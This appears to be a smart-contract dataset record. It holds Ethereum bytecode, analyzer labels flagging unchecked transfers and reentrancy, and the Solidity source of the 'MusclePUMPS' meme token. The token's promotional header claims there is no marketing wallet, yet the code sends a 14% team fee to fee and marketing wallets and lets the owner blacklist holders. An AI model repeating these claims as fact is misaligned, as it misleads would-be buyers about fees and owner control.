ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106fa90919063ffffffff16565b61073890919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff166108fc6108be838561090190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156108e9573d6000803e3d6000fd5b508380600101945050610784565b5050505050505050565b600080828401905083811015151561091857600080fd5b8091505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610a17576006600081548092919060010191905055508060056000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6000806000600190505b60065481111515610ac357610ab4600260006005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361090190919063ffffffff16565b91508080600101915050610a24565b819250505090565b60036020528060005260406000206000915090505481565b60046020528060005260406000206000915090505481565b600080600080600080339550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e87306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015610bf857600080fd5b505af1158015610c0c573d6000803e3d6000fd5b505050506040513d6020811015610c2257600080fd5b81019080805190602001909291905050509450600085118015610d755750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8730886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610d3957600080fd5b505af1158015610d4d573d6000803e3d6000fd5b505050506040513d6020811015610d6357600080fd5b81019080805190602001909291905050505b1515610d8057600080fd5b610da76064610d996059886106fa90919063ffffffff16565b61073890919063ffffffff16565b9350610dd06064610dc26006886106fa90919063ffffffff16565b61073890919063ffffffff16565b9250610df96064610deb6004886106fa90919063ffffffff16565b61073890919063ffffffff16565b9150610e226064610e146001886106fa90919063ffffffff16565b61073890919063ffffffff16565b9050610e2e8383611be6565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb89836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ef357600080fd5b505af1158015610f07573d6000803e3d6000fd5b505050506040513d6020811015610f1d57600080fd5b8101908080519060200190929190505050507fc804beabd6deef69632486188d3b1a0fc6837d20bf348393884d368fa5bf10cd888289604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1610ff484600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461090190919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156110895761108886610922565b5b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60608060608060006006546040519080825280602002602001820160405280156110f15781602001602082028038833980820191505090505b5092506006546040519080825280602002602001820160405280156111255781602001602082028038833980820191505090505b509150600190505b60065481111515611258576005600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836001830381518110151561117d57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360006005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826001830381518110151561123d57fe5b9060200190602002018181525050808060010191505061112d565b8282945094505050509091565b60008060008060003394506000861180156112bf575085600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156112ca57600080fd5b6112f160646112e36059896106fa90919063ffffffff16565b61073890919063ffffffff16565b935061131a606461130c6006896106fa90919063ffffffff16565b61073890919063ffffffff16565b925061134360646113356004896106fa90919063ffffffff16565b61073890919063ffffffff16565b915061136c606461135e6001896106fa90919063ffffffff16565b61073890919063ffffffff16565b90506113c086600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114555761145485611e60565b5b8473ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f1935050505015801561149b573d6000803e3d6000fd5b506114a68383610762565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561150d573d6000803e3d6000fd5b50505050505050565b60026020528060005260406000206000915090505481565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600190505b6006548111151561160a576115fb600360006005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361090190919063ffffffff16565b9150808060010191505061156b565b819250505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116a957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b60008060008060003394506000881180156117c7575087600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156117d257600080fd5b6117f960646117eb60598b6106fa90919063ffffffff16565b61073890919063ffffffff16565b9350611822606461181460068b6106fa90919063ffffffff16565b61073890919063ffffffff16565b925061184b606461183d60048b6106fa90919063ffffffff16565b61073890919063ffffffff16565b9150611874606461186660018b6106fa90919063ffffffff16565b61073890919063ffffffff16565b90506118c888600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3f90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561195d5761195c85611e60565b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611a2257600080fd5b505af1158015611a36573d6000803e3d6000fd5b505050506040513d6020811015611a4c57600080fd5b810190808051906020019092919050505050611a688383611be6565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb88836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b2d57600080fd5b505af1158015611b41573d6000803e3d6000fd5b505050506040513d6020811015611b5757600080fd5b8101908080519060200190929190505050507fc804beabd6deef69632486188d3b1a0fc6837d20bf348393884d368fa5bf10cd878288604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a15050505050505050565b600080600080600080611bf7611561565b9550611c01610a1a565b9450600193505b60065484111515611e35576005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250611cad86611c9f8a600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106fa90919063ffffffff16565b61073890919063ffffffff16565b9150611d1385611d0589600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106fa90919063ffffffff16565b61073890919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84611d67848661090190919063ffffffff16565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611dec57600080fd5b505af1158015611e00573d6000803e3d6000fd5b505050506040513d6020811015611e1657600080fd5b8101908080519060200190929190505050508380600101945050611c08565b5050505050505050565b600080838311151515611e5157600080fd5b82840390508091505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156120b75760056000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660056000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004600060056000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060056000600654815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600660008154809291906001900391905055505b505600a165627a7a72305820b45b160ff002892b3866a4d44ca0962358237a6147d3df743913bb3215e1cbe50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 1,694 |
0x39DDD9282FD3E3e6a829a81a8161CEb9F2e246d6
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
/**
Welcome to MUSCLE PUMPS.
1st rule of MUSCLE PUMPS is, you DO NOT talk about MUSCLE PUMPS.
2nd rule of MUSCLE PUMPS is, YOU DO NOT TALK ABOUT MUSCLE PUMPS.
TG: t.me/MusclePUMPS
______________$$$$$$$$$$____________________
_____________$$__$_____$$$$$________________
_____________$$_$$__$$____$$$$$$$$__________
____________$$_$$__$$$$$________$$$_________
___________$$_$$__$$__$$_$$$__$$__$$________
___________$$_$$__$__$$__$$$$$$$$__$$_______
____________$$$$$_$$_$$$_$$$$$$$$_$$$_______
_____________$$$$$$$$$$$$$_$$___$_$$$$______
________________$$_$$$______$$$$$_$$$$______
_________________$$$$_______$$$$$___$$$_____
___________________________$$_$$____$$$$____
___________________________$$_$$____$$$$$___
__________________________$$$$$_____$$$$$$__
_________________________$__$$_______$$$$$__
________________________$$$_$$________$$$$$_
________________________$$$___________$$$$$_
_________________$$$$___$$____________$$$$$$
__$$$$$$$$____$$$$$$$$$$_$____________$$$_$$
_$$$$$$$$$$$$$$$______$$$$$$$___$$____$$_$$$
$$________$$$$__________$_$$$___$$$_____$$$$
$$______$$$_____________$$$$$$$$$$$$$$$$$_$$
$$______$$_______________$$_$$$$$$$$$$$$$$$_
$$_____$_$$$$$__________$$$_$$$$$$$$$$$$$$$_
$$___$$$__$$$$$$$$$$$$$$$$$__$$$$$$$$$$$$$__
$$_$$$$_____$$$$$$$$$$$$________$$$$$$__$___
$$$$$$$$$$$$$$_________$$$$$______$$$$$$$___
$$$$_$$$$$______________$$$$$$$$$$$$$$$$____
$$__$$$$_____$$___________$$$$$$$$$$$$$_____
$$_$$$$$$$$$$$$____________$$$$$$$$$$_______
$$_$$$$$$$hg$$$____$$$$$$$$__$$$____________
$$$$__$$$$$$$$$$$$$$$$$$$$$$$$______________
$$_________$$$$$$$$$$$$$$$__________________
STRENGTH.
POWER.
NO BULLSHIT.
JUST PUMP.
SLIPPAGE 16% - No bots on contract, you will not be front-run.
☑️ Stealth-launch, no presale
☑️ Renounced contract
☑️ No max buy/sells, except small cooldown in the beginning.
☑️ A ERC20 meme token without developer & marketing wallet
☑️ Holding gets rewarded because of reflection
☑️ Locked liquidity
☑️ No chance that bots are able to buy this coin & have big % of tokens on launch
☑️ A straight-up meme token, no website & fake promises.
☑️ Earn tokens holding MusclePUMPS in your wallet. Team earns as well.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MusclePUMPS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "t.me/MusclePUMPS";
string private constant _symbol = 'MusclePUMPS';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561052b565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610549565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a0